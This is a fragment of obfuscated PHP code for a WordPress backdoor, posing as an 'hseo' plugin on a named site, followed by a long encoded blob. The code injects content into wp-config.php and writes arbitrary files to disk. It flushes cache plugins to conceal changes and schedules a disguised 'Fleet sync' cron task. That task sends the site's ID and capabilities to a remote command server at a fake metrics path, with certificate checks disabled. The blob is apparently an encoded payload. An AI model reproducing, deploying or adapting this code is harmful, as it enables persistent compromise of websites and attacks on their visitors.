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'stub'=>'/var/www/vhosts/bgmmuhendislik.com.tr/httpdocs/wp-content/plugins/hseo/hseo.php',
'ctrl'=>'// n6_sf',
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'vis_func'=>'wp_pzg5aw',
'vis_paths'=>array('/var/www/vhosts/bgmmuhendislik.com.tr/httpdocs/wp-content/plugins/hseo/hseo.php'),
'opt'=>'_wp_i3s2qh7u',
);
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$keys['id']='dwc';
$keys['ver']='89';
$keys['caps']='fnb';
$keys['tasks']='dnh';
$keys['interval']='gaz';
$keys['ack_id']='43k';
$keys['ok']='fx';
$keys['detail']='q93';
$keys['inv']='6k1';
$keys['result']='99c';
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if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
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$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
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$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
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$_ok=@file_put_contents($_path,$_body)!==false;
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$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
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if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
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$_ok=$n>0;$_result=array('themes_updated'=>$n);}
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$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
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$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
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function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
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if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
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$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
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$j=json_decode($raw,true);
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if(strlen($h)<128)continue;
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$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
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$_hp='/panel/api/v1/metrics/collect';
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$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
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update_option($k,time(),false);
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}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
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Ed8B+zWFBWWrqvjt0vBXr/mMxiMfDX0p7B/XgDX+CNYE3Lhc+yqV1KuhU8OkzMYrIl19dfCyz310Ky1PEei0YKfikJ26GE+D1Y2nF3NheW2wa6uELDNAEyFBrWS7luCV2vB/s9TEZhN6XFg8hCP3jGjKAOJA/Dgs447l7eakR4b4uNZHN3wMAeyy1rUgrm3m/B2IietHnXzfoDPb/IDGW3flKQmxpp6RAI54pgTUtWQXuoTB0vFXfoB54746XXU5lIP7lHDiVDZ0qLll3rOMhbrgZ6/Zjc8KH7BtyJUO6pAw+lCmFLigRL/6PNGOpXLmwawecw9VEQyc99dQaPoowkDM9HGT4pAZjuhXq92t9y8PWX0xhYbXmB3jOeZgmayIXpZBlSuR2pLA3JoTAxE1AeyT/9jsyk3nZemMNM/yuOnHoM+b6JjeRh+wfciBp4aQaMpMsljRrIi/grjhypgjC/m90g8/UX0B7MNTrDDLLeYAzOAkr+Kg9crox5eBvdJXc2EhKejrU5QUyy3mSOycQLu2/OmWcBfT1b3SBx8RbTn0q8uEaE4YthXZrDTjtpSZxpw7p9TEHgNrqBUVmIPSsT3DOYsQnQVlq76Q7ZLxc9/UxIozN0n1OZTz/pFV3z3aXPyUdL/7ke2SnCfbzJnqIz8NIRyFm6eFHfsclmHoQJGPX+wgswlyk8yw6ltqXWEp7P/PnDRyCIMRna1E+9bsweK5ctLkYZriVvQsPaib09xx3hDaKPCIeGem/dSroVKO3aCCX29ICAXol8+cNf9Z113Nwc2qsqDp5uwik/ConkcvZTl1ZO/X0SGrHdow7OBFlorg6Yrof4b4wIYfdw1lGZy6ytkRjzmLuemsaJeK4ITeqFer0KjqC+s5bSil0uqwcLpc8izxrKjPhqTp75hXw9TE1kcHFAgF6PPj3HCWON4NyeFV/pfBfN+gf6/4wIMXN30pBZyz2ygczgnnZemMNM/yuOnHoM+b6JjeRh+wfcjJDuqQLOIkqkHouFS/hrjtjgxn9sH50vt3SWVlgKv/SCTuSPMh6OBw4+qI2coMZ/bxjN4rA0UJIWizuqEg7jiqQPyUcONy5OmfkXOb5LTCMwNB/VnkstqQLP4Y3ij8nNyXorgg5ohPt/mtzwoeMIQ8pL+/qCyOONop6LhUv4a47Y5oZ4rghPYvK3kVITSju5UR3gTiHLiQLM8qleTe7CPb1Ijmuy84HD3k79fIBM4Irtj8tVWruvjNxrQ7K/ycxyY7DWU5nOvzrGjqCK6k7O1Bq9+sncrwJ9v5jD4fH2U9GZy7e5Rw2y3mCOygNJf6yE3nkXPfkMTGEw/xOViVp6vYHIY49gSgZHCyg6zdirhrh4g07gcubC1t7KPT3DjiVNIEoBhg60eUncqwJ5/VrfISCl0kGKXSkpAl3zHmGdmtebaXwdWrCXKT2NjqG2t5EQSk96O0PMIIrpy4zUSLtpTF7rQ7N/iU7xZOXA1twOf/rDnfAfs0BfiRmhut1Y7od6uMlO5fD0ll5aCXv4UhqxxSFLiNXLOCkOmXmEuX9JnqW29VYW3sg9ONAZcttzXZBWWr/rjlyqwjr4g01iMuXFg8hPeP0DTiBecN9YiJ/0edfN+ge7f4nPYvJ/kVJZmmnpDMKyS2LFiQaK+CuBmO6Fer3bTqEw9IFXGUg+eFAYcthzXZBWWrppjxjvBn2xiI4kMuXFg9aMPfmBzvJLYsKORAn5b88Ya1S8P8QIJfH2UwHIGfp8QokkyuNNCxRe7znZCXhUI6wYyCXz9lYSWY79+EaBYI/xGdrUT71uzB4rlzL8ikxhtqecBtUYLr/SCWCLZEoJVkR5Ko7c6QZ9tktMoqCl19daCfp4gclijyWDCoVP+nndWStEOHzNzuX4NZGSiVp+O0GM443gxMlHyWg6zB6oQjw9TEChMLCTgMpPejlBiSBNpY3LgsY6a0IOboZ4OUgMc2G1gcPa2C6uVZ3hnnPeilVaqvsfCzoAY6wYzeKwMRfD38o9u0MNpM2lhQqFC+s9nU/gRLw/G0HgMnaTkF9LOiqBjaKPMo3Kg0p5ON6eq1TrbA/KMX16gJ0ORShjkh3hDaKKT9ZKeOlIWWnEOj1MQKEwsJODzRpssw8GqsRgTsvECTrjjlypRnq5G06hMPSBUJoPfnsQHiDMMtzawU2rJAIPpNM2atJdMXN2EVcfWn27RsjgjeBKAIXLOPraDesFeP1MCC3y9EFXGUg+eFAZtd11WhiQkCs6zZ4pg/wsDcmhMDETUB7JP/2ITOfedl6GAAn7qQ5ObsZ5eIgPMva2HhbeyD040B+ySqRODgNOOWlMj/5Sqihe33epJcLTGYn6fBIJYIqlDUlCi/CpDFy6EGkuDctlcvYTQ9GK/DhCyPOAtAHcHNqrKg6ebsIpOImJ4rbxUhKQD3/6Uhqxz+WOyYcAemye2S9HvfkMT2LyZ8aHCV4r61TXcd5hzUlCj6svyd+rxvh4hU1idvSCxIpEseqGjKRPJYpLlck7aYwObsQ7fMmfNGCgQIUA2m65wc5lC3ELCoVI+iqIXi6OuqwfnSXy9EYGCF9r61TXcd5hzUlCj6svTR7oRjl5CwmrNrSRg80abLwESeCNoJ6bF5j1/4ILMJcpPMsOpbal0hAZy/z4zgliCnEZ2sUL/i5PHSaGeK+MDiMzdIDHiV6s79id8c6izQ4DWrqqjZjpw790zcsxZOXA1twOf/rDnfAfs0BfiRxhut1dKcS9+RjO4fd0llZbDvT4BB32nmAMywcOfiZMHHmD/HyMCCXx9lMBzh9trVeftxTxHooFiT/v3VhqRDt9CIgitz2X1t7aaekCHOcL4U2Ih0r+KQnWakR4e1nL4bB2V9dZiX24RoBhjWRPzZdMeCiJmOtEuHiCjqDwcoPVH07++obMYgriT85MC70tnFsuhn34Cw6lsv5REtsNL7/GjKUNpEoKBwD+K44auwH8OIqM4LLxX1OZTz/+UwskTiIMy8YPuO5E3m1WP/mIjiMytZfQHsA7uEFKsMihzUlHyPrmyd4uAGg6yU1htrYWVZKPeL5TCyIO5c/OQ8v/oIxb7Ucv5pjdIPb2UhbYCb0pBgliDqBKTg6PvTjN36mGO3+JBKLjooLaWAl/9YNNoM8lnQlGCfp5SZ7oR/huHV43YebIQ8pOu72DTaKC4E8a0RqpL8sZ60T4rBkc8z1h3YDA2m69AkuizaFPh8AOunraDebBenyLDjLx8NOXWg99fZGI4gKkCgiFy2k4ntkpBXn9Wtl1YKGGQYlQ7qkHDaVPoEuABwzrPZ1P7wF9PUsMsXh1UFKaj2z31wKy1PEejgcJumoIXi6OOXkInTYjsVOSTp+srBdfstTxHo5HDn8pDtkrTrqsH50zdrOW0pmL7qjT368bLl2QVlq/Kose6cd4NknLMWTlwNbcDn/6w53kyuRP2JXOfmpJmO6Fer3a2XJnZ4HJSlp9eYbMpUvgSgZHCys9nU/vAX09SwyxYmQAnQ8FLaOSHeROIgzLxg+47kWY7BcubBrIJze0kRJKT3o8Q1+ySqIMygcYr/nYD7hXP+wMTGR28VFD1Ir8+oMPok+ojRnWTn4uTB2pS7h9m90lc/OR0BoLc79GDLLeZA7OR4v+IAwbuRc9/UvMYba2FlraD37qEglgiqUNSUKL8qleTe4Hf38LDWB59NTAykm+PcNJZE8lgguH2asvTR7oRjl5CwmptrPdgF7LP7xCzLPcYV2axtjrPZrN6lcr7AheMWJkAIUKTSQpEgxkjeHLiIWJKy/NGWvGfDZJyzNwdVYSns///YhOYE2xGdrUT71uzB4rlzq5S84zPWGdgMDabrwCSWAPJAMKhU/6etoN5MhqvMsJJz53l9HYCe06gk6gneXNiIaL6TzfDvCXKTzLDqRy89fZmcv9aRVd88tnSouFiys7HI+k0nZvEl0xc3YRVt7JvboDSW0PJB6dlkZ9aY3eKRS7eMAO4vN1l98eTv/5Qw2hTWBdD8WGfi5PHmvVK2+MDiMzdIDHCV8s6hid8crgSkkDDjvrht4rBmkrWN8kdfHTkBvadXmAjKELc0BfyRjrLB1Za0I8eItdL7B1VhKez//9iE5gTbIej8YOOuuIUGpEPH1b3SGwdlfSnE90+oOOMt5hzUlDTjjpzlyui/h5G90l8vERFp7Kv/KBzOCBMooLh0/7659P6lQpPJqdNiQl0oPImn4qEhwwHDfejZzaqytIHmrCO3/LXSHx9lPRmcu0/ANOs8tljMsHi/+hTpzrVCk/SI6hMnSWWtoPfuoSDSIN5AoJBUm6bkbeKwZqLAxMZbBwllMbAD04gd7xyuBKSQVPOm5BnK8UKTzLDqDx9BtQSVp9+UGNoA8lgwqFT/p53V0oB3q/iY4tdzYWwMpKP7lGCOCK6k7O1Bq9+sncrwJ9v5jD5Hc3kxIbDvU6wwyy3mJOyUYLem5EXa8HaiwIDuL2sVEQ2Us6MoHM4J1xCguCiX5uTZygRLi/290l8vEREN/LOjXDSPLeYc1JR8j6407O+gR5f4iM4Dc4UpDfCy2pAs/hjeKPycpOOO7eTepGOXgNzGX49Zbcicj9e0Gf8B+zWFrBECs6zNiph/w+Sw6xd7FRFlgLf/2ISOCNMwoLgo646UmcoEY/LB+dM316gVdbC3v5w0Fjj6MLmUXK+Gue3qpCOf4a3uB29QEBik15qQzCs4C1Adnc2qsuDB7rR/w/zEGgMiXFg9rPPnvDSOuPb9pFlVArOslZacf4eMwFZHaxQsSKRLHqhoygyyHPxkQLeS/e3mpEeG+MDiMzdIDHSV8s6hid8cqgTYuGj7juRxzsFy5sCEhhsXSX2ZtEqnZRF3HeZA7OR4v+JsneLhcubAQLYjM2EcBeyzq6Ak0gneQNRgNOOWlMj/hUvf8KjeAhoQHGiBlkKRINIg3gjMsOj7062g34Aj94CY7g474SUVsKu6tM2O6cMQhawsv+L4neegn9vUwJIrAxE5mbTG2pBsyizyHLiQLGOmteTe4DuvzJieW78NfXSVp6eEEMoQtiygCHTKg6yF2uhvh5BMmit6bC0xmJ/ztDxSTIbl0IRYj4uNyMOFHpO1JdMXIwkVMfSD16kgxhjqQNTkAB+27fXWhEuD5LTOrwdNOAyk7//cHO5E8lhM/HCeg6zh2ph3j9TEdkcvaBw96LOjyATSCEJA/JlBq9+sncrwJ9v5jNMHV1UJBbSD04yY4gzyZfjALL/+kOWGtDs3kJjmYisxGTmco/eEaHpM8iSdvAjnpuSN+qxnN5CY5mM6MC1IDabriHTmELY01JVk+7bkycrwo/eAmfITK1ltbbDvI4Q532nmtNyoeL86iIXqpDKr+IjmAgMRHRmossr1Be+15xCk/Cy/tphxjrRGkrWN8vvOZWF9lIPnhRjmGNIF0Jhg+76N9OLgQq7ljKJmO7HYGUnnHqGJ3xzqLND8cMviCMW/oQaTjLzuR/NJNAXol8+cNf9Z113Nnc2qsrzxkuB3w8ysxl/jWR1psaaekQCeGLYcyBxw86ad7eqkI5/hre4ramAIPdTW63zV+vGm5c2sCav6uIWK6EqTLIjCE3sNOXVss/KhIJJMrgTsmMD7ppnk3qxPq5CYskefTUwMpLfP3GDaTOow/OS8r4L4wSuYW6/ktfMKJnhAPdEO6pA4iiTqQMyQXau2vNGe8GfbUIiCEhsROXX8g+eEmNoo8xGdrUWX/uzB5rBn2v20nitvFSEonJPvwCz/PdpQ/ZFBq8Ld1TJVV36AeeO+Ol1tdZj/z4A0lsyCUP2tEauSqO3OkGdb1JXqW29VYW3sg9ONAZstqzXZBWWr4uTR5uxrr4i4xl+rWX04pdLqsHC6XPIs8aw04+a58TPshqJpjdIjP2UpIbDvK9gcnx2TEchgAJ+6kOTm7DOj5N3qRweRfXWAn/axBeYo4kDkjUWXupHo+6AD4sBgJzPWHdgMDabrhBT6TLYEoCA0yrPZ1P7wF9PUsMsXh1UFKaj2z31wKznmfejkcPvm5OzeTD+HiNT2Gy/lKQmxluvQaOJEwgD85LTP8rnk3vA7l/jAyitzaTl1NKO7lRHeKOIo7LBw43Lk6Z+Rc4f0qIJHLxWhbcRS09g0zkjqBcmMYZqypfDf1QqTxY3/FzJsLCC5goaQVXcd5gi8lGj7lpDs3uhn3/zYmhsvxRQd6LPbhCyOIK7AjOxxmrKg6ebwZ/OQONZWCl0RNeizo8g0lqjiUc2sCav6uIWK6EqTwZy+Wy9tOTH0m6NARJ4IkwCEoFiT4ri1jhR307WcviszETl1/LOjJCSeaOd96NnNqrK0geasI7f8tdIDD3l9bbDvT4BB/hDGFNCUcJsGqJTf1XNTiLDmM3dIFXWw69egeMsk3hTcuVzn5qSZjuhXq92tmyZqeByUpafjxDjGCK7QoJAlqset9Y7EM4f8ldMKJnnAaVGWQpEghhjWNPioNJf6GNGfoQaS4bDWIwcJFWyZn6esdJYQ8yjcqDSnk43p4vVOtsD8oxfXqAnQ5FLOkE3eVPJAvORdq16g9dqYS4fwONZWCl0laby//9jgliCnIej0YJuWvNGOnDsnxMwnLxNhCQSFuva1Td5pTxHotDCTvvzx4plz08To4is/TYltsJLL3HCWCOIkMKhU/6etoN6sJ9uMsJrXBxAVcfCvp8Bo+iT7Ma2dKY6DBdTe7CPb1Ijm13NhbDzRpyf0FNYg1yi8lCinjuzR1pBn3vjc7ttrFQkFuYbOqGzuOOoFyeUlmvvl8O8JcpPwqJ5HL2U5dQC3ipFV3z3HDfWUQOdy5OmOnCP3gJhuDgNlKQmxgtOkJI4QxzHUkDWWl6ylr6CfZuRhkuIeXUA97LO7xGjnHOcAhOA046ao4QakQ8fU+cJ7dw1lKaCTK9gcnmn2fNiIKPumlMGWBGPztI2/F070LD2889OccPog3xDcqFyvrridephrruDAgl8vWRmJoObq5SH/IN4EuFA8v/rg8eKZTquMsIZfN0gVCaD357EB4lDDLc2sFNqyQCD6TTNm8SXTFzMJNSWw73OpIasdxrTQ/FWTIqiFynBXp9QU7l8PWXwFnKPfhRjqGLYcyY1Y+6eR8N7QApMsefb6e6gclKWnq9gc0giqXDjIJL6z2dXSnGOHzDTWIy5lYWms67vYBOYBx1W5nSHyl51836A7h4yw4k8vFYktxaaekGzuILbY/LVc5+akmY7oV6vdrYcmWngclKWn57Ak5iTyIEy8BarHrfWOxDOH/JXTCiZ5wHVRguv9IJYItkSglWSqosCZjuhnl/Q41ldOTUE18L/zhGhGJJMAhOwsl764mZJwF9PU+cJ7c0lhAZT//9iEznyTAISgRK+KlMHuBGPztI2/F070LD2889OccPog3xCguCjrjpSZygQjh/WskhNfbRE5tCO7wGnvHKYUjJxYr6II7cadQpOAxO5PH005dQCf860R3kziWPS4NGem/eTeqCeL2Jiam2s8CD3Jp6OEcIpU3xDpvAjrtsjl4qRjF5DcmmIrMW05wJfXlDB6JP4snbwI6/qQjfqwZ9tktMorTk1BbaDv94RwEgi2ZfjAbP+qtMGWLCPztI2/F070LD2889OccPog3xDsvGDr4ridErQis8yw6g8fQZU5kLLakADaJPYg/OT8koOsmY7oZ5f0FOsmO1ERBfSzi8CMynnXELjkQLeuuJ0StCKiwIDuL2tJTW0A9/+lBd5x5lj8/DDji6w50pxLi+SQahMPSBw9hKPTgBDKVH4p2awo+/q40eo4SqLAgO4va0lNbQizjqEgjlTCDPS4LGem/eTerE+rkJiyR58NOQlRn6OEMIoQ8zHIqVWru4nUq9lzlsGh0h4KXDAggcrr5YnfHP5E0KA0j46V1e6EP8PUtMZfg1kZKITru9g02igqBLmdZOv6kI36sGfbTNyzJjtJGRn09//YuOct5lz85DyPvrgZyvFCk4iYnlcHZWEpZO/X0QXeceZY/Pww44us1M7MP8OImNYj90l9SLTLq9gchjj2BKAgNMvHvLnKlFfDkJiajwMoPVHos6PIBNIIKgS42XTH+riZnpxL39RMmit7KSxQpNJCkSDSIN5cuawo+/q40eoEY/LB+dITA1ENAewL//UYkkjuXLjkQJOvjYzvwVb+aY3SGwdlYWyk56OsLMpQqrS4uFGqx63pjpxfh/mx6lsHCWUxsZ+nxCiSTK400LFF7oPh8LMJcpPMsOpbal19dYC794RoahinEZ2sxHsGHBX6rCPHiJhGJy9pOQX1n9OUFMskqiDMoHGK552I+83aksCA7i93DC0xmJ+72BzuLPJYZPwFqses3YqsX4eQKML6d6hAlKWn56wYkk3mQKCIeLem5B3KuXLmwayCc3tJESSluva0zZ7pi7nprGiXiuCE3uhn3/y8igNz5REtsaaekGjKBatNyf0xjt8F1N6sT6uM3dJXc2F1GbSzoygk6gnnZehkcLOm5MHmrGcHiMTuXgNlKQmxn6fEKJJMrjTQsUXu952Qk4UeOsGM3isDEXw9kKPTlDzKVF4U3Lll3rOMhbrgZ6/ZjB5zD1URDJyDu4Ro2kzaWc2UKJuWoMD/7ULG5eF7FjtREQXo9uucHOZM8nC4bCyX862g34Aj94CY7g474SUVsKu6tM2O6Yu56axol4rghN7wd9vcmIKTaw1kPNGn6oBMkkyuBOyYwLvS2cWy4DuvzJieW58NOQnRt4fAaPoA+gSgGGDrx7y50pxLw4iw4icvFaFtxNL7/HCWOPoM/OSsv6rZxbLoZ9/8vIoDc+URLbDS+/xgliC+NPi4LBO2mMGrsB+nxLTWCy8VlTmQs56ATNIg3kD8zDRr+pCVqqEeOsGMykMDUX0ZmJ7r2DSSILJY5LjIv9eMhZaEb4/UxAJze0gsSKQT78AB5lDCDNGUXK+Gue2SkFef1a2TJnJ4HJSlp8uUGM4s8lgwqFT/p62g3uhnionN6lsLeSEohfLazQXvtecQ5Ixgk4q45WakR4bB+dJfL0RkeJzr27Qsyz2zIbWJVQKzrJnKkGefkLCaswNFEDzRpsqNPeZU8lDYqGi+ipTR6rVWq4y89hsufGQM9YLaOSHeLMJcuLhcv/p00e70ZpK1jfLfP2UxKTDvo6xp5iTiJP2UUK/ioPT/nE/a/anSZ0pdwciASqtlEXcd5ly45HCvhiiFjuly5sAIml8/OaVpvL//2RjmGNIF0OBUj7659LuFQjrBjJoDd2EdZbDvT6g44x2TECTIUKOOne367P+v+IDWR/cdZSmgt++YEMsktiwk/CyPirH0+5g/x8jAgl8fZTAc4era1XX7LU8R6Pwsj66wwZYES4v9jacWGkAwEQCf87QY+kyDNdDgMKP+/J36mG6yhb2fMgr0LD307++obMYgriT85OD74uXUq6FTw6TMxisiXZE1jLPnwQQzRBM16MFk46b8gZaZc3+QxPYLJ0ll7cDn/qEg/hjeANi4LHO2nIHLkXOf4IjqLy9tlTmQstqQbMos8hy4kCwPirTo76BDt4zcxi8vFfU5lPP+oSCSTK4E7Jjg++Ll5N7oZ9/8vIoDc/kVJZmW68Bo+gD6BKAIXLOPndWO6HerjJTuXw9JZbn096NlGJYI9kTkuUWLt53V14Vy5rmM1xYWXSQMpbr2tU3eaU8R6LQwk7788eKZc9vUwJIrAxE5raD37rBoylCmLNDgcGOmtdSroVMzEDhiqzN1OTH0M9uEFMoktyjQqFC+ipjRjqxSsvy4xyoeXV1MpEsetM2e6de56axEr4q85cro/8OhjacXN2E9Kagf76Q15lCyGKT8LI+KsfSDkRa28SXTF3NJYX2Yn6eE7MpN52XpjXm2iuzRzjRLgvi01iMueBVx8K+nwGj6JPsxqZ0tjoMF1N7wO7fckMZf+xURfKXS63zV5hDaUIxwQPuSiOzmmHen1bSeQzMRfXWAn/axee99wyFBrWTjpuDp7vhn23iI5gI6KC3xwJPjrBHmTNrQoIhQj+KIjcuYI68M3JozA0AMGJzrv5hsjlTCKPWNIeqD6Zz7kdqSwMTGWwcJZTGwZ6OsYd9p5zC4yCS/jrXVYqhbh8zd9vprqAg9yaejhHCKVN8QBORw5/KQ7ZK0u4fZvdI3P2U9DbDvZ8BB7xyuBKTsWJP+uBnK8UKTkMT2CydJZf3sm6qhIJYIqizY9HDjCqjhy5Fz29TA7kNzUTn97JurZRj2IMIpybF5jt+soHehc5/8tJ5GOw0pdbizuwAkjhnnZemNebaK7NHObCOXiN3qLz9pOBic67+YbI5Uwij1jSWa+4m4d6Fzn/y0nkY7ETkNsKu7rGhyCIMRna1Yv+KMKcK0IxvEvNYvN0gQBeibv9gsyySqRODgNOOWlMj/8ULK5eF7FjtREQXo9uvcNO4I6kDU5KTjju3Uq6FTX6S42isKZWF9sKvPhG3mTNrcuORAk6+N8OaUd8PMrfMrdx04AIGnm+EgMunC/ahZCQKzrNnimD/CwJTWG2thZVkco9+FIasdxtCgkFCP/rnt2pBDX9TcgicvTBUFoJP+qBTaTOoxyZBwuo+J1a7Rc381qD9XzjCEPKSr16hsjxyqBNi4aPuO5FmOwXLmwI3Ce2tZZSGw93uUcNpp9nykuFS/vvzplgxn97WcvlsvbTkx9JujUGjiXJMAhLRgp+KQnboYd6fU+NN6klwtJfCf58AE4iXmWPzgJJeK4MFa8CPa4JTWG2thZVkA9/+lIasdxqzghHCn45TJyvDPz/hMmit7SWVtwB/vpDSTJN4U3Llcn7b82f+BT6fVsfcXSywt0VGDBtDV77XnEKS4VL++/OmWJCPDiY2nFzd9KXXos7tYNMckqiDMoHGK452M+5HaksCU1htrYWVZfKPbxDXfaeb8HZQ0l378nfqYbqv4iOYCAxEdGaiyysURgznXuemsVI/+/MHmtDs/1OnTYjp9ZSm97qKoFNpM6jHJkHS+j4nVrtFzfzWoP1fObIQ8pLfP3GDaTOow/OTAk6qR1KugR5eAzPYvJ/E5WUn3HqGJ3xzaGKS4LPOm5BnK8XLmwEC2IzNhHAXss6ugJNIJ3kDUYDTjlpTI/4VL35SEnkdzeRUgheKmoWWLOde56aw047aUmcacO6fUxBJfBxwsSKWHu/RgyiD/EFSkTL++/fEz5Ia2wOHSXy8NeXWdp+qATMYY6kDU5AAP4rjhq7Af39S8xhtrYWW59Pej5TCyBOIcuJAsz2qo5Yq0BoOsvPZba0kVKewL//RVznD2NKTsYPu+jMGWBEuL/PnCewdVYSns///Y7MpMkwCE/CyviuDN4uhHh4hMmit7KSxQpNJCkSDGSN4cuIhYkrK45cqUZ6uQAIJ2G30pBbSX/9iMynnXENSkKL/69MGWJCPDib3SKzMROXX8s6MAJI4Z1xCguCjrjpSZygxn9vGMghNzQTltHKPfhRHeKOIo7LBw42LIlcuFc/7AxMZHbxUUPaW3h7Ak5gzWBKAAcM/HvLniqD+HiNTGX78NfXXRt4esKJIIrkj85PSv4qigzsw7h4zM7i93SYEpwNL7/HDaVPoEuBRgn6bZxbKUd6vEkMZf6zltKdCmhpBVdx3mCLyUaPuWkOzesFffgIiCGxtJZZn0s96wNO4I0gTQ/MD7ppnUq6FTT+S0witmZRU5kLLTpCSOEMcx1LxZlpespa+gn2bkYZLiCvQsPZSDp8A05giuwIzscarHrfWOxDOH/JXSqzN1OTH1gwbA1e+15xDUpCi/+vTBlhh3p9WNpxf3ORk1mJbTxBiSENpQ7KRUv/+UheJsI9vktM82HmVhDYCr/rFlny2jWc2dzaqypIHGuGfbDJiDFk5cDW3A5/+sOd6g7jj8oDWPX/wg+6Aek4iYgkNzZC3RsJf/pDTmTEJA/JlVq4KImY60S4eIXLZXLmwtAazr/9h4ylReFNy5Vau6+M3GtDtf1NwnL3NJPWmossqwJe8c7zXp2R2rt6343qlCkt2R93o7KIQ8pL+/qCyOONop6Owsl764mZJsZ8LgmOYzaw05dWyz8pFV3z3HDfWUKOuCiITmmHen1anqIz8NIRyFm9u1HfsclmHoQJGPX+wg7wlyk8yw6kdzYR0NsO9PwDTrHZMQSHzQGwKI7fI0Q4f0mOpGA2UpCbGfp6AE0gnHSdnNQZobrdWe6E+f1MCejwJcWD0Ed18g7J4Y3oTYuFC/iv3t5qRHhvjAhh93DWUZnLrKxRGDOde56axwn5b8hcroo/eAmdNiOn19WeSz14kgiiT2BPCIXL+jiDiWVUI6wYzmEwNZMSnsI7vAad9p5tyMmGyXg5T12uzXq4zc1i83SBVtmGu72ATmAcc10OBUj7659JORJrbxJdMXdw1lKaCTT6g44x2TEcj8AOumkMzeHHu71ICDM9YN2BikyuvYNI5IrinorXTHppjxjvBn2wiYymIrMSEBnPejrBDuCK60uLhQ3qLAlZacf4eMwEovTk1BKZCDu8A0lsyCUPzZdMeGqO3avGfbRNyCX05NQXH07/+UFHok/iycrQmrxwXU3rgnq8zc9isCXX11gLv3hGhaTLZZyJhgk7awwZYYT4PVvdIfH2U9GZy7J4Rx7xzqLNC0QLcWlM3jhXP+wMTGR28VFD1Ik++oJMIIrqjUvHGasqTx5rBXq9xAxkYKXSEBnL/PjITmBNrl0ORwu+agwP+AdqLAhfcWTiQtOKWK65kR3wH7NYWsEQKzrM2KmH/D5LDrF3sVEWWAt//Y+NossgXIuFS/hrjtjmA7r4G90hsHZX11mJfbhGhqGKch6Owsl+qIxcroy6/QmeMXN2EVJYC7O/Rgyy3mXPyccKfikJ1GmUKTgIi2JwdZPfWwvs6QTd5U8kC85F2rXrjlypRnq5BMmit6bC0xmJ+72BzuLPJYXKglmrLsneL4V4PUxGorK0gcPaib04gEwsyCUP2dZOemnMHS8E/bWLXjF3tZSQ2Yo/tYNMbp3lj8vDCnp43125FzmuWNp247WCwQpK7akT3DOYsQnQVlq6r47dLwV6/5jJoDd2F5daizI4Q5/kTiIMy8YPuO5BWWnDKStY3y219pJQGVn7+obNIgphTgnHDmivzpEvA7t/iR8zIDaSltqIbKrHTnIcMQmN1kR0eIOJ5VQjrBjN4rAw1lAZSX/9iw2kzjEZ2s3P+GpMGXmFffWKjqM2tIFQWgk/6obO446gXJ7VXil51836A/h4jU9hsv5REtsaaekITmTNcoeKg0v2KI4co4T9v0iIMvA1kZKJzrv5hsjlTCKPWNLZrjieR3oXOblJTKA3PpKXyl0uqwcLpc8izxrXm2lkGdK5HaksDcmjMnQTl1PJ7q5SH+0IIk4JBVk/7swdKEZ9743O7baxUJBbmGzqgU2kzqMcmQbJaPidWu0XN/Nag/V85shDyk7//cHO5E8lhk/AWqx631jsQzh/yV0qszdTkx9YMGwNX7HIsQoLg0//qV1TL4d6PknNZHBxXtdZjm2pAs4iS2WNScVL/6PNGOpUKTjJiaTx9ROYWYt/6hINZI/gj85NCv853VjuhXj9yYmo8CbC11sOvXoHjKVGpAiFlc46a8gdK1UrPFvdIeHlxYRKSi6r0g1y3nDfWJCavHBdTeuCerzNz2KwJdKS2g57uEaHoMhzCoqACbjqjFaqQykrWN7ksvVGHBqJfPhBiOxPJYpIhYko+UmeL0O5/VtJ5DMxF9dYCf9rFh71XDIUGtZPO2nPHOpCOviCDGcjooLB1ow9+YHO8kqgTs5GiKivzpEvA7t/iR8zIDaSltqIbKrGzLIcMQmN1kR0eIOJ5VQjrBjNYHPx19Kew/0pFV3zy2dKi4WLKylIHukVd+jHnjvjpdPRno5+/ALP4IrqjUvHGqx6ydyrk+zuHZszIK9Cw9rPPziDSW1PIJ6dlkZ9aY3eKRS9/UiJobGmV9AWj3o7QYwz3DKKScQKenjZCPkTrS5anS